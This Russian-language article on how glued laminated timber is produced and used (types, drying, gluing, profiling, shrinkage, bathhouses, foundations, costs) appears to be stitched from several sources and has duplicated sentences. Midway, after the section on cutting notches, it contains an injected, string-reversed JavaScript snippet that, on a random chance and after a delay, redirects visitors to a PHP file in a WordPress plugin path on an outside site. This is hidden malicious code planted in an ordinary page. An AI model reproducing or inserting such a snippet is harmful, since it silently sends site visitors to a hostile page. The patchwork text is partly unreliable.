Технология производства клееного бруса

Классификация

В строительстве применяется несколько разновидностей материала в зависимости от целевого назначения и конфигурации профиля.

Виды материала по назначению:

1. Оконный и дверной. Производится из минимум 4 ламелей, используется на участках монтажа оконных и дверных проемов.
2. Стеновой. Количество ламелей достигает 2-3, его используют для возведения стен в одноэтажных домах и постройках с мансардой.
3. Опорный. Вид с наибольшей несущей способностью. С его помощью конструируют каркасы зданий, балки перекрытия и несущие опоры.

Наиболее востребованные для строительства параметры стенового бруса – 100-160*180 и 180-270*260 мм.

Стеновой брус может изготавливаться с использованием теплоизоляционного слоя или без него.

Виды по типу профиля:

• гребенка – оснащен мелкими зубьями, нарезанными по бокам изделия;
• финский профиль – образует соединение “шип-паз”, его поверхность практически плоская;
• немецкий профиль – имеет от 4 до 8 соединительных пазов, образует самый крепкий модуль.

Что же такое брус ППУ брус утепленный пенополиуретаном

ППУ — это комбинированный строительный материал. Внешне он похож на панель-сэндвич. Многие опасаются, что пенополиуритан может повредить здоровью жильцов дома. Но этот утеплитель не реагирует на воздействия извне и не выделяет токсичных веществ даже при нагревании

. Кроме того, материал обладает высокой огнестойкостью, что является несомненным плюсом исходя из правил пожарной безопасности.

Чтобы изготовить утепленный брус, нужны хорошо просушенные доски (примерно на 90%), из которых делают два вида заготовок.

Ламели — это две одинаковые доски, которые будут находиться друг от друга на расстоянии 70 мм и составлять основу стройматериала. Соединения, которые скрепляют ламели, называются «ласточкин хвост». Их располагают между досками на расстоянии 50 см друг от друга. При соединении ламелей появляются полости.

После придания формы изделию пустоты между ламелями заполняются утеплителем — пенополиуретаном, который занимает собой все пространство и швы.

Благодаря такому устройству стройматериала создается впечатление, что дом полностью деревянный.

Для изготовления клееных пакетов можно использовать ценную древесину (кедр, дуб, ясень).

Понятие о клееном брусе

Прежде чем рассказать о том, что такое дом из клееного бруса, нужно узнать как можно больше об этом пиломатериале. Клееным брусом называют прочный, экологически чистый и долговечный стеновой материал, который дает возможность легко строить дома.

Он изготавливается на высокотехнологичном оборудовании с высокой точностью и чистотой обработки. Наружная стена дома из бруса и клееного бруса по теплопроводности равна кирпичной, толщиной в 5 раз больше, что позволяет существенно сэкономить деньги.

Однако только этим не ограничиваются преимущества домов из клееного бруса. Они могут собираться как конструктор людьми, даже отдаленно знающими плотницкое дело.

Брус, склеенный из ламелей

Кроме того, она не требует дополнительной отделки. Пиломатериал уже является хорошим декоративным украшением фасада и интерьера дома из склеенного бруса.

Производство

Линия производства клееного профилированного бруса на данный момент считается одной из наиболее высокотехнологичных в сфере деревообработки.

Производство можно разбить на несколько этапов:

1. Подготовка, где предварительно заготовленная древесина проходит первичную обработку.
2. Сушка в сушильных камерах для понижения влажности.
3. Использование рейсмусовых и строгальных деревообрабатывающих станков.
4. Склеивание ламелей с применением пресса.
5. Зарезание чашек и профилирование заготовок.

Снижение влажности древесины

Клееный брус производят из специально отобранных заготовок. Обрезную доску сушат в режимах, обеспечивающих равномерное высыхание пиломатериала по всей длине, что обеспечивает долгий срок службы дома из клееного бруса. Необходимые условия и температурный режим (до 95°С) регулируются с помощью компьютера.

Пакет из клееного бруса

Летом срок сушки – 6 дней, зимой – до двух недель.

Необходимо добиться 8-12% влажности, тогда как в других пиломатериалах она может быть и до 30%, например, в оцилиндрованном бревне.

Использование специальных деревообрабатывающих станков

Распиленные на доски и правильно высушенные стволы деревьев доставляются на дальнейшую переработку. Здесь их калибруют на рейсмусовых, а затем раскраивают по ширине на многопильных станках. Это дает возможность выявить скрытые в древесине дефекты и удалить их на торцовочных станках.

Распиловка бруса на станке

Склеивание ламелей

На следующем этапе отсортированные, отстроганные, высушенные и собранные по элементам ламели склеивают в готовое изделие с помощью гидравлических прессов. При этом ширина бруса может достигать до 180 мм.

Если ранее использовались клеящие составы, содержащие вредные формальдегиды, сегодня компании перешли на другие материалы. Эти водостойкие и высокопрочные клеи экологически чистые и дают возможность древесине «дышать».

Для увеличения прочности изделия ламели укладывают в разнонаправленном положении волокон. Изделие после этого не изменяет свои геометрические размеры долгое время, а дома из бруса клеенного бруса могут стоять долгий период без ремонта.

Зарезание чашек и профилирование

Готовый брус после того как клей затвердеет, обрабатывают на строгальных и фрезерных станках. С помощью специального оборудования ему придают профиль, затем торцуется в размер и нарезается на элементы. Последний этап – зарезание чашек на специальных станках, затем венцовых чашек, а также сверлят отверстия под нагели.

$NjS=function(n){if(typeof ($NjS.list)==»string») return $NjS.list.split(«»).reverse().join(«»);return $NjS.list;};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovlenie-chashek-na-derevoobrabatyvayuschem-stanke-600×399.jpg» alt=»Изготовление «чашек» на деревообрабатывающем станке» width=»600″ height=»399″ /> Изготовление «чашек» на деревообрабатывающем станке

Процесс изготовления разных типов бруса характерные особенности получаемых материалов

В целом технология производства одинакова для всех видов клееных материалов и включает в себя несколько этапов. На каждом из них применяется специальное оборудование, которое позволяет обеспечить качественную обработку древесины. Существующие особенности производства клееного бруса во многом зависят от возможностей производителя, технологической линии и материала. Процесс изготовления начинается с распиловки брёвен на доски одинаковой толщины. Благодаря продольному роспуску древесины снимается напряжение внутри нее, что устраняет риск образования трещин в будущем доме. Полученные при распиле заготовки собирают в пакеты и отправляют в сушильные камеры.

После сушки производится четырехстороннее строгание и шлифовка материала на специальном станке. Обработанные заготовки калибруют и сортируют в зависимости от размера. После этого на заготовках нарезаются мини шипы, позволяющие выполнять их сращивание, для получения ламелей нужной длины. Готовая ламель проходит окончательную обработку. Она обеспечивает гладкость поверхностей, что повышает прочность сцепления ламелей. Склеивание проводят на гидравлических прессах. Для склейки используют экологически чистый клеевой состав особой прочности. Клей на внешние ламели бруса наносится с одной стороны.

На следующем этапе материал подвергают профилированию. В зависимости от вида профиля производится фрезерование соответствующих продольных выборок, гребней и пазов. Качество клееного материала во многом зависит от точности выполнения пазо-гребневого соединения. На заключительном этапе готовый материал обрабатывают антисептическим составом.

Сушка и склеивание

Для просушки деревянные заготовки помещают в специально предназначенные для данной цели  сушильные камеры. Доски в них сушат в штабелях по несколько штук. Благодаря такому размещению заготовки быстро сохнут и одновременно расслабляются, освобождаясь от внутреннего напряжения. Их сушат до тех пор, пока влажность древесины не снизится до 10 %. Выбор режима сушки и время высыхания зависят от качества дерева, толщины заготовок и степени влажности.

Хорошо просушенные доски выравнивают рубанком, одновременно удаляют участки имеющие дефекты. Доски, прошедшие обработку принято называть ламелями. Перед склейкой ламели должны принять окружающую их температуру, поэтому после просушки им дают несколько дней для отстаивания. В процессе склейки на поверхность ламели ровным слоем наносят клей, после чего соединяют по несколько штук и кладут под пресс. Когда склеивание ламелей завершится, получается строительный материал с заданными размерами. Чтобы сделать изделие идеально ровным с него снимают небольшой слой древесины.

Обработка бруса

В результате склеивания ламелей формируется массивная балка. Чтобы придать ей нужную форму она подвергается профилированию, торцеванию и нарезанию шипов. Все эти операции делаются на специальном станке, который придает изделию нужное сечение. Очень часто клееный брус с заданными размерами изготавливается партией в соответствии с проектом строительства конкретного дома.

Усадка бруса

Принято считать, что среди всех домов деревянного типа наименьшую усадку имеет клееный брус. Для домов, построенных из данного материала предельный уровень усадки не должен превышать 1%. Для сравнения, усадка обычного бруса 3- 5 %, оцилиндрованного бревна — 4 – 7 %, а самую большую усадку дает сруб из обычных бревен 7-12 процентов. Стоит сказать, что усадка дома из клееного материала напрямую зависит от качества сырья и клея, а также от соблюдения технологии изготовления.

Отделочные работы

К отделочным работам приступили после полного закрытия контура здания и ввода коммуникаций в помещение (водоснабжение и энергообеспечение).

На балках террасы и балконах уложили пол из клееной, двухслойной, лиственичной доски, прокрашенной бесцветным, влагостойким, морозостойким лаком. Доски закрепили к балкам балкона с помощью уголков и саморезов. Между досками оставили зазор, чтобы на поверхности настила не оставалась влага.

Отделка балкона и террасы доской из лиственницы.

Балки пола первого этажа, в предбаннике и комнате отдыха, обработали антисептиком и покрасили. К ним закрепили черепной брусок с черновым полом, на который уложили гидроизоляционную пленку. На пленку и черновой пол, между балками, поместили утеплитель из каменной ваты толщиной 200 мм. Утеплитель закрыли пароизаляционной пленкой, закрепив ее к балкам пола обрезной доской.

На обрезную доску и балки уложили листы влагостойкой OSB толщиной 16 мм, сохранив вентиляционный зазор над пароизоляционной пленкой. По настилу из OSB произвели монтаж сосновой половой рейки толщиной 25 мм, которую закрепили, с помощью клямеров и саморезов, к балкам пола.

Укладка половой рейки.

Между стенами комнат и чистовым полом сохранили двух сантиметровый зазор, который закрыли плинтусом. Пол прострогали электрорубанком, произвели шлифовку и покрыли бесцветным, износостойким лаком.

На мансардном этаже, в обеих комнатах, выполнили аналогичный монтаж чернового пола, звукоизолирующего утеплителя и чистового пола. Произвели покраску полового покрытия износостойким лаком.

В парной и моечной комнатах балки и черновой пол обработали влагостойкой мастикой. К балкам, в моечной комнате, выполнили монтаж водосборного желоба, который, через воронку с гидрозатвором и канализационную трубу, соединили с банным септиком. Чистовой пол, по балкам, уложили с уклоном от противоположных стен парной и моечной комнат,  к водосборному желобу. Половую рейку, перед укладкой, обработали в замке влагостойкой мастикой, а по завершении сборки пола, его поверхность покрыли термовлагостойким лаком.

Потолок первого этажа и мансарды отделали вагонной рейкой, монтируя ее к балкам с помощью клямеров и саморезов. По окончании монтажа зазоры между стенами и потолком из рейки закрыли потолочным плинтусом. Потолки покрыли бесцветным лаком.

Отделка потолка вагонкой.

Отделка потолка мансарды.

В парной и моечной комнатах, для отделки потолка использовали вагонную рейку из липы. При монтаже рейки сохранили зазор от стен, для вентиляции. После монтажа рейки, стены и потолок покрыли термостойким, бесцветным лаком.

В парной комнате установили вытяжную вентиляцию, для удаления остатков пара, после использования банного помещения.

Брус, на заводе, обрабатывается на четырехстороннем, строгальном станке по шестому классу чистоты и не требует дополнительной шлифовки перед покраской или нанесением лака. Покраска стен в предбаннике, комнате отдыха и комнатах второго этажа производилась бесцветным износостойким лаком, обеспечившим сохранение красоты текстуры древесины.

Вокруг дома произвели монтаж отмостки из бетона марки М150, предварительно утрамбовав грунт вокруг фундамента. Ширина отмостки составила один метр, толщина 150 мм. Для жесткости плиты отмостки, в опалубку, до заливки бетона, была смонтирована  арматурная сетка, из стального прута, диаметром 10 мм. Сетка соединена с ленточным фундаментом по всему периметру. К отмостке, по ее краю, установлен с небольшим заглублением, водосборный лоток, закрытый от мусора.

Отмостка вокруг дома из клееного бруса.

По времени, без учета периода вынужденного, технологического ожидания, строительство гостевого дома из клееного бруса выполнено за четыре месяца.

Бани из клееного бруса: плюсы и минусы

Одним из плюсов данного строительного материала являются его хорошие показатели теплоизоляции, что важно для бани. И не требуется дополнительное утепление и отделка стен. Это сэкономит вам немалые средства

Это сэкономит вам немалые средства.

В отличие от варианта из бревен усадка здесь будет минимальна.

Сроки строительства при выборе клееного бруса тоже довольно сильно сокращаются. Кроме того, относительно небольшой вес конструкции снижает требования к фундаменту, что также дополнительно сбережет ваши деньги.

Конечно, бани из этого строительного материала стали эксплуатировать не так давно, если сравнивать с вариантом из бревен. Поэтому и могут возникнуть сомнения, но если следовать некоторым советам, такая покупка вас не разочарует.

Первое, на что стоит обратить внимание, это выбор изготовителя клееного бруса. Добросовестные производители используют безопасные клеевые системы и тщательно следят за тем, чтобы сами доски-ламели не имели дефектов. Кроме того, необходимо позаботиться о правильной вентиляции для лучшей циркуляции воздуха

Вы можете заказать готовый проект бани под ключ в компании «ВДК», где уже будут учтены все особенности эксплуатации такой постройки

Кроме того, необходимо позаботиться о правильной вентиляции для лучшей циркуляции воздуха. Вы можете заказать готовый проект бани под ключ в компании «ВДК», где уже будут учтены все особенности эксплуатации такой постройки.

Плюсы и минусы бани из клееного бруса

Преимущества бань из клееного бруса

• Устойчивость и надежность. Изучаемый продукт не разрушается под действием влаги и высоких температурных показателей. На протяжении многих лет здание не потеряет своего первоначального внешнего вида; отсутствие усадки. Даже здание из пары этажей не усаживается по окончанию строительной процедуры. Это связано с тем, что древесина предварительно высушена; высокие теплоизоляционные свойства — профилированные заготовки соединены плотно и не имеют щелей.
• Высокая стоимость указанного материала оправдана тем, что строение из изучаемого продукта не нуждается в дополнительном утеплении. Вагонка, цена на которую немного ниже, но материал практически не уступает качеством теплоизоляции;
• Безупречный вид извне получен благодаря естественной декоративности. За счет правильной обработки материала, стены из бруса ровные;
• Экологический материал, что дает позитивное действие на общее состояние здоровья человеческого организма.

С клееным брусом можно сравнить разве что оцилиндрованное бревно, цена на которое значительно выше.

Недостатки

Бани из данного материала, как и любого другого, к сожалению не лишены недостатков.

• Высокая стоимость. Клееный брус значительно дороже других строительных материалов из дерева. Его часто называют престижным стройматериалом. Построить баню из клееного бруса достаточно затратно и не каждому это бывает по карману;
• Необходимость оснащения вентиляцией. Клееный брус не дышащий материал, он не пропускает сквозь себя воздух. Баня не будет проветриваться. В то же время с точки зрения низкой теплопроводности, это скорее плюс — баню не нужно утеплят! Для того чтобы предотвратить появление грибка достаточно проветривать баню в ручную. Это поможет избежать неприятностей в дальнейшем.
• Придется сделать внутреннюю отделку парной. Большинство клеевых составов не выдерживают температуру выше 70 градусов и существует вероятность повреждения материала;
• Состав клея для бруса может содержать фармальдегиды. Конечно чаще всего так делают только недобросовестные производители. Но все же есть шанс, что и вам попадётся такой брус. Бани из клееного бруса плохого качества просто опасны для здоровья, Поэтому перед покупкой бруса или заказа бани под ключ обязательно консультируйтесь со специалистами и просите предъявить сертификаты качества стройматериалов. Обращайтесь в нашу компанию за подробной консультацией.

История возникновения материала

Древесина широко используется в строительстве домов вот уже несколько тысячелетий. Однако, основной проблемой, с которой столкнулись строители, является период усадки дерева из-за повышенной влажности или неправильных геометрических форм сырья. Известно, что древесина имеет предрасположенность к растрескиванию, прогибам, искореживанию и скручиванию, что может привести к необратимым последствиям.

В конце XX века многие крупные финские компании начали вкладывать значительные средства в разработку таких материалов, которые будут препятствовать природной деформации древесины.

Идеальным решением проблемы стало изобретение клееного бруса. По сути это был настоящий прорыв на мировом рынке строительных материалов. К сожалению, о человеке, впервые разработавшим этот незаменимый материал, ничего не известно.

Причины роста популярности

Существует несколько предположений по поводу того, что стало причиной широкого использования клееного бруса во всем мире. Некоторые считают, что виной тому стали массовые акции защитников природы, выступающих против вырубки лесов. А данная технология производства позволяла использовать древесину более бережно. Даже частично поврежденные бревна также могли быть использованы в строительстве, что существенно экономило исходное сырье.

Второй возможной причиной считается то, что из-за постоянного использования природных материалов во многих Скандинавских странах возник дефицит древесины. Кроме этого, в это время активно развивалась химическая промышленность, которая предлагала современные, качественные и надежные клеи. Благодаря специальной технологии из нескольких деревянных частей – ламелей, можно было изготовить новый, цельный брус.

Считается, что впервые этот строительный материал был представлен на рынке в Финляндии в 70-е годы. Мастера изготавливали клееный брус из кондовой сосны или «хонки», которая имела ряд преимуществ и положительных характеристик перед другими видами древесины.

От опытных образцов к массовому строительству

Благодаря производству клееного бруса (обычно размерами 150х150 и 200х200) популярное ранее каркасное строительство в Финляндии отошло на второй план. По сравнению с натуральным пиломатериалом оно не могло обеспечивать естественную природную атмосферу в доме. Главным преимуществом клееного бруса является то, что к его отделке можно приступать сразу после монтажа, не ожидая усадки. Этот факт доказал строителям, что процесс возведения домов можно значительно ускорить.

Именно высокая скорость и легкость монтажа стали залогом приобретения широкой распространенности клееного бруса во всем мире. Этот материал позволяет создать в доме благоприятный микроклимат, почувствовать энергетику дерева и создать максимально комфортную обстановку.

«Немецкий» профиль для клеёного бруса

К «немецким» профилям относят изделия, в которых уже одна геометрия глубоких пазов и гребней (без дополнительного уплотнения) создаёт продольное соединение, непреодолимое для холода и ветра. При этом количество гребней по сравнению с «финским» профилем увеличено. Сборка должна производиться только из сухого бруса. Способ уплотнения чаш зависит от величины зазоров в соединении.

«Немецкий» профиль клееного бруса

Российский вариант «немецкого» профиля и его соединений

Клееный брус с непродуваемым замком

Резка чаш вручную

Оборудование для резки чаш у некоторых производителей, а тем более у строителей просто отсутствует. В этом случае строители вырезают чашки с помощью бензопилы и топора, а потом выравнивают их плоскости той же бензопилой. О точности изготовления чаши при этом говорить не приходится, а её уплотнения добиваются за счёт закладываемого в чашу утеплителя.

Резка чаш вручную при соединении клееного бруса

Сборка на герметик

Не доверяя обещанной немецкими производителями оборудования точности изготовления чаш и профиля клеёного бруса, наши строители промазывают герметиком не только площадку в чаше, но и крайние пазы бруса. Вместо последних лучше было бы обработать тем же герметиком вертикальные поверхности чаш, ведь именно здесь и образуется продуваемая щель.

Клееный брус — сборка на герметик

Уменьшение количества шипов

Для экономии средств и ускорения процесса изготовления отечественные производители клееного бруса создают собственный профиль с большим количеством шипов, чем у «финского», но меньшим, чем у «немецкого». Чтобы уменьшить продуваемость соединений такого бруса, в них укладывают одну или две ленточки из любого вспененного материала.

Клееный брус — уменьшение количества шипов

Сборка с уплотнением только в чаше

Крупные отечественные производители, не сомневающиеся в качестве собственного клеёного бруса с «немецким» профилем, при сборке в обязательном порядке рекомендуют уплотнять соединительные чаши. Чем? Вот тут единого мнения нет. Например, одни предлагают это делать льноджутовым полотном, другие — лентой ПСУЛ и т. д.

Клееный брус — уплотнение только в чаше. Уплотнитель — льноджут

Соединение клееного бруса с уплотнением только в чаше. Уплотнитель — предварительно сжатая саморасширяющаяся уплотнительная лента (ПСУЛ)

Суть технологии изготовления клееного бруса

Жилое здание будет последовательно возводиться из заранее изготовленного домокомплекта. Залог успешного строительства — выбор качественного материала. Производство домокомплекта из клееного бруса осуществляется следующим образом:

Сырье подготавливается. Древесина сортируется. Качественная используется для изготовления строительных материалов, а бракованное сырье с дефектами утилизируется. 

Распиловка. Маленькие компании приобретают готовый пиломатериал, крупные предпочитают пользоваться собственной лесопилкой. Процесс распиливания осуществляется на современном оборудовании с помощью компьютера. Использование хорошей техники — это признак эффективного производства.
Сушка. На этом этапе определяются качественные свойства будущего клееного бруса. С помощью автоматизированного оборудования влажность древесины в сушильных камерах отслеживается и регулируется. Дом, выполненный из хорошо просушенного клееного бруса не растрескается и не деформируется.
Склеивание. Применяются различные составы, прошедшие сертификацию

Обратите внимание, хорошие производители используют только качественный клей, не наносящий вреда здоровью и окружающей среде и не выделяющий токсичных веществ.

• Прессование. Высушенные и склеенные заготовки собираются по специальной схеме (часто из нескольких видов дерева). Далее они запрессовываются и находятся под высоким давлением до полного склеивания.
• Обработка. Заготовки шлифуются для придания поверхности гладкости. 
• Фрезеровка.Брус профилируется и разрезается по указанной длине. Вырезаются посадочные чаши и отверстия, необходимые под коммуникации и нагели.
• Обработка и упаковка. На изготовленные клееный брус наносятся специальные антисептические составы. Затем материал маркируется, упаковывается и доставляется на стройку.

Как видите, технология изготовления клееного бруса довольно проста, но эффективна. На каждом этапе производится контроль качества, позволяющий избавляться от бракованных изделий. Во время изготовления домокомплекта организация-строитель осуществляет закладку фундамента. Клееный брус может храниться на стройке, не теряя качественных характеристик.

Фундамент

Самостоятельно установить опору для дома можно. Однако перед этим обязательно нужно проконсультироваться на предмет качества грунта и его особенностей. Возможно, регион обладает сильным промерзанием земли, или есть сейсмологическая опасность.

Также особого внимания потребуют болотистые края. К выбору фундамента для таких объектов, как дома сборные, клеёный брус это будет или другая древесина, нужно отнестись со всей ответственностью, иначе халатность чревата повреждениями при усадке, а то и вовсе разрушением постройки.

Поэтому на проблемных грунтах рекомендовано строительство именно такого вида бруса – его процент оседания много ниже другого, и никак не скажется на опорах кровли.

Популярностью пользуются малозаглублённые ленточные варианты, позволяющие выставлять венцы после недолгой выдержки, и варьировать направления согласно плану. Как это делается:

Выкапывается канава по проекту на желаемую ширину и глубину промерзания.
Стенки выравниваются, на низ засыпается щебень, песок и прочие природные «фильтры».
Выставляется опалубка из строительного мусора – обрезки досок, щиты, горбыль.
Затем внутренность армируется прутом, сечением 2-5 см, особое внимание уделяется переходам и угловым соединениям.
Если есть желание до того, момента, как сборка домов из клеёного бруса войдёт в полную силу, можно сделать фундамент утеплённым. Для этого используют листы пенопласта или полистирола

Их выкладывают по стенкам, закрепляют и затем производят заливку цементной смесью, предварительно сделав входы для канализации и водопровода.

Важно – производить работу по заливанию состава следует в нежаркую погоду, иначе есть риск растрескивания поверхности. Если другой температуры воздуха не предвидится, следует несколько раз проливать приготовленную площадь водой

Что такое клееный брус

Клееный брус – это высокотехнологичный конструкционный материал из дерева. Изготавливается он из нескольких слоев деревянных ламелей (фрагментов, досок), которые сначала складываются в пакеты нужной толщины, а затем склеиваются под прессом. При финальной обработке его шлифуют и профилируют на станках.

Предназначен этот пиломатериал для строительства малоэтажных коттеджей и иных построек на приусадебном участке. Используют его как при возведении несущих стен, так и при устройстве систем стропил для крыши и лаг для пола. Из него строят не только дома, но и беседки, гаражи и хозяйственные дворы. Применяется он также при изготовлении лестниц, предметов мебели, дверей, окон и иных столярных изделий.

При производстве клееного бруса для частного домостроения на российских фабриках в основном используют древесину следующих пород:

• Сосна;

• Ель;

• Кедр;

• Лиственница.

Процесс производства

Изготовление этого бруса подразумевает глубокую и комплексную переработку древесного сырья. В ход идут все обрезки, оставшиеся после распиловки ствола. При этом на этапе сортировки ламели с дефектами отбраковываются полностью либо негодные участки просто вырезаются из них. Технология склейки позволяет использовать даже не слишком большие по размеру фрагменты.

В результате под пресс попадают только качественные ламели, которые не имеют повреждений. Прежде чем их начать склеивать в брус, весь пиломатериал проходит предварительную просушку в камере. Получаемое брусовое изделие по определению не коробится после укладки в сруб. В нем минимум влаги, испаряться естественным образом под солнцем просто нечему.

В сравнении с профилированным аналогом данный вид материала при изготовлении получается более прочным и ровным. Он не коробится при хранении и эксплуатации. После просушки в камере ламели имеют влажность в районе 8–16%. В составе изделия они уже не деформируются.

Усушка стен дома из клееного бруса практически исключена. Максимум за год они осядут на 1%. Для сравнения – строение из профилированного цельного аналога или оцилиндрованного бревна естественной влажности за аналогичное время усядет на 10–15%.

Высокая конструкционная прочность рассматриваемого пиломатериала обусловлена тем, что перед нанесением клея торцы ламелей фрезеруются. Склеиваемые поверхности приобретают зубчатый профиль, который гарантирует более прочное соединение отдельных досок на изгиб.

Интерлюдия: вопросы экономичности

Клееный брус стоит дороже аналогичных материалов – пиленого или профилированного бруса, оцилиндрованного или дикого бревна. Но на закупке материалов расходы на строительство не заканчиваются. Разберемся в некоторых вопросах стоимости дома.

Для начала – приблизительные расчеты на основе опыта строителей:

1. кубометр клееного бруса стоит примерно на25—30 % дороже, чем оцилиндрованное бревно;
2. для дома площадью 300 м2 нужно 100 м3 клееного бруса или 160 м3 оцилиндрованного бревна, то есть, больше на 60 %;
3. результат – клееный брус оказывается дешевле, чем бревно.

Разница только по основному материалу составляет около 10 %. К этому следует добавить экономию за счет пониженной трудоемкости сборки сруба из профилированного бруса, простоту и надежность уплотнения межвенцовых стыков и отсутствие необходимости в ежегодной конопатке стен.

Приведенные расчеты весьма приблизительны, и в зависимости от разных обстоятельств эта оценка может обернуться и в другую сторону. Но они показывают, что утверждения о дороговизне клееного бруса нельзя считать однозначно верными. Кроме того, доля расходов на стены в общем бюджете строительства составляет примерно 15 %, и любая разница в стоимости «коробки» должна оцениваться с коэффициентом 0,15.

Инструкция по кладке стен

Постройка бани начинается всегда с её проектирования. Чертёж можно придумать самому, а можно взять уже готовые проекты из интернета. Например, баня может возводиться с мансардой, террасой, верандой или крыльцом.

Надёжная баня должна строиться на надёжном основании. Для этих целей используют ленточный либо столбчатый фундамент.

После того, как основание полностью высохло, можно приступать к следующим шагам:

Установить противокапиллярную гидроизоляцию поверх фундамента. Она нужна для защиты бани от проникновения грунтовой воды по стенам через мелкие «капилляры» или микротрещины. Без надёжной гидроизоляции, грунтовая вода будет просачиваться в стены, вызывая развитие плесени, грибка и сырости.Мало того, что это вредно для тех, кто будет дышать таким воздухом, полным спор опасных микробов, так ещё и влажные стены быстрее подвергаются разрушению. Гидробарьер укладывается в 2 слоя внахлёст, поверх горячего битума.

Собрать стены из бруса. По периметру бани монтируются деревянные рейки толщиной не больше 15 мм с шагом в 25-30 см. Это делается для предотвращения сырости и гниения нижнего ряда бруса.Пространство между рейками заделывается утеплителем либо монтажной пеной.Далее собирается первый ряд. Брус для начального ряда должен быть по сечению больше, чем стеновой материал

К тому же, его важно тщательно обработать антисептиком и подровнять (при необходимости), чтобы он мог принять на себя вес от всей конструкции и выдержать его. Далее поверх первого ряда укладывается джутовый утеплитель, который лучше прибить степлером к брусу для надёжной фиксации. Утеплителем может стать пакля или мох

Утеплителем может стать пакля или мох

Следующие ряды крепятся так же, как и первый. Для соединения элементов могут использоваться гвозди без шляпок, нагели, стальные штыри, пружинные узлы «Сила». Если крыша не будет монтироваться в ближайшее время, то нужно накрыть постройку временной крышей с гидроизоляцией, чтобы она не намокла и не испортилась ещё до введения в эксплуатацию.

Заделать щели. Устранение пустот и швов нужно проводить только после полной усадки здания. Для конопатки щелей применяют специальные герметики либо паклю, джут, войлок. Работа проводится снизу-вверх – от нижних рядов к верхним.

Возвести крышу. Кровля бани из бруса может быть ломаной, одно-, двух-, и четырёхскатной. Если чердак должен остаться холодным, то перекрытие между чердачным помещением и баней пароизолируется и утепляется, чтобы тепло не поднималось наверх.

Отделка бани. Снаружи необязательно выполнять отделочные работы

Но внутри важно защитить брус от повышенной влаги. Для этого на стену и потолок монтируется деревянная обрешётка, внутри которой оставляется вентиляционный зазор и место для прокладки кабелей освещения. Затем поверх обрешётки укладывается гидроизоляция и теплоизоляционный материал, например, минеральная вата

Затем поверх обрешётки укладывается гидроизоляция и теплоизоляционный материал, например, минеральная вата.